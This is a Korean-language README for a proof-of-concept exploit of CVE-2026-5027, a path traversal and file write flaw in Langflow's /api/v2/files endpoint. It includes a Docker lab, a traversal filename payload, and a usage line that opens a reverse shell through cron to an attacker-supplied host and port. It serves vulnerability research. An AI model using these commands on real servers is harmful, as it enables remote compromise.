
CVE-2026-5027에 대한 개념 증명 익스플로잇으로, Langflow의 /api/v2/files 엔드포인트에서 발생하는 경로 탐색 및 임의 파일 쓰기 취약점이며, Docker 랩과 리버스 셸 옵션을 포함합니다.
이 게시물은 EQSTLab에서 발행한 연구 기사입니다.
이 취약점을 보고하고 분석한 Yahia Hamza에게 감사드립니다.
★ CVE-2026-5027 Langflow 경로 순회 / 임의 파일 쓰기 PoC ★

CVE-2026-5027 : Langflow 임의 파일 쓰기 취약점
설명: Langflow <= 1.8.4의 경로 순회 취약점으로 인해 공격자는 /api/v2/files 엔드포인트에 조작된 멀티파트 filename을 제공하여 의도된 업로드 디렉터리 외부에 임의 파일을 쓸 수 있습니다. 자동 로그인이 활성화되어 있거나 인증이 취약하게 적용된 배포 환경에서는 이 문제를 악용하여 공격자가 제어하는 콘텐츠를 중요한 파일 시스템 위치에 기록함으로써 원격 코드 실행을 달성할 수 있습니다.
Docker를 사용하여 취약한 환경을 빌드하고 실행합니다:
docker build -t cve-2026-5027 .
docker run --rm -it -p 9013:9013 --name cve-2026-5027 cve-2026-5027
# Proof of concept (writes test file to /tmp/)
python3 CVE-2026-5027.py -t <TARGET>
# Reverse shell via cron job
python3 CVE-2026-5027.py -t <TARGET> --lhost <YOUR_IP> --lport 4444
취약한 엔드포인트
POST /api/v2/files
이 문제는 업로드 기능이 클라이언트가 제공한 멀티파트 filename 값을 신뢰하기 때문에 발생합니다. 안전한 서버 측 저장 이름을 생성하거나 확인된 경로를 전용 업로드 디렉터리로 제한하는 대신, 취약한 코드 경로는 ../와 같은 순회 시퀀스가 최종 대상 경로에 영향을 미치도록 허용합니다.
결과적으로 공격자는 의도된 저장소 루트를 벗어나 애플리케이션이 서버 파일 시스템의 임의 위치에 파일을 쓰도록 강제할 수 있습니다.
대표적인 악용 흐름은 다음과 같습니다:
/api/v2/files에 멀티파트 업로드 요청을 제출합니다.filename을 제공합니다.이는 근본적으로 CWE-22: 경로명의 제한된 디렉터리 제한 부적절 문제입니다.
이 보안 결함은 업로드 처리 중 사용자 제어 파일 경로에 대한 불충분한 정제 및 검증으로 인해 발생합니다. 애플리케이션은 원본 클라이언트 파일 이름을 수락하고 경로 정규화 및 포함을 적절히 강제하지 않은 채 저장 워크플로에 전달합니다.
방어적 관점에서 위험한 패턴은 개념적으로 다음과 유사합니다:
save_path = base_dir / file.filename
만약 file.filename에 다음과 같은 경로 순회 구성 요소가 포함되어 있다면:
../../../../tmp/poc.txt
최종 확인된 경로가 base_dir 외부를 가리킬 수 있어 임의 파일 쓰기가 가능해집니다.
임의 파일 쓰기 취약점은 공격자가 파일 내용뿐만 아니라 대상 경로까지 제어하기 때문에 일반적인 무제한 업로드 문제보다 더 심각한 경우가 많습니다. Langflow 프로세스의 런타임 권한에 따라 다음이 가능할 수 있습니다:
+-------------------------------------------+
| Attacker |
+-------------------------------------------+
|
| Obtain access token
| or abuse auto-login
v
+-------------------------------------------+
| Langflow /api/v2/files |
+-------------------------------------------+
|
| Crafted multipart filename
| (../ directory traversal)
v
+-------------------------------------------+
| Arbitrary File Write (Outside Upload Dir) |
+-------------------------------------------+
|
| Write to sensitive location
v
+-------------------------------------------+
| Potential Remote Code Execution |
+-------------------------------------------+
이 저장소는 Langflow 인스턴스의 무단 악용을 용이하게 하기 위한 것이 아닙니다. 이 프로젝트의 목적은 보안 연구원, 방어자 및 개발자가 취약점을 이해하고, 통제된 환경에서 노출을 검증하며, 효과적인 완화 조치를 적용할 수 있도록 돕는 것입니다.